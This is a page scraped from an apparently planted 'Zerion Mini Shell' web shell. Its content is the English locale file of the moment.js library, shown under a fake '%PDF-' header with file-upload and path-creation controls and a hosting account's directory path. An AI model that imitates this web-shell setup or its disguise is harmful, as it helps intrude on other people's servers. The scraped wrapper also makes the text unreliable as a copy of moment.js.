%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/home/medipszd/www/bower_components/moment/src/lib/locale/
Upload File :
Create Path :
Current File : //proc/thread-self/root/home/medipszd/www/bower_components/moment/src/lib/locale/en.js

import './prototype';
import { getSetGlobalLocale } from './locales';
import toInt from '../utils/to-int';

getSetGlobalLocale('en', {
    dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (toInt(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    }
});

Zerion Mini Shell 1.0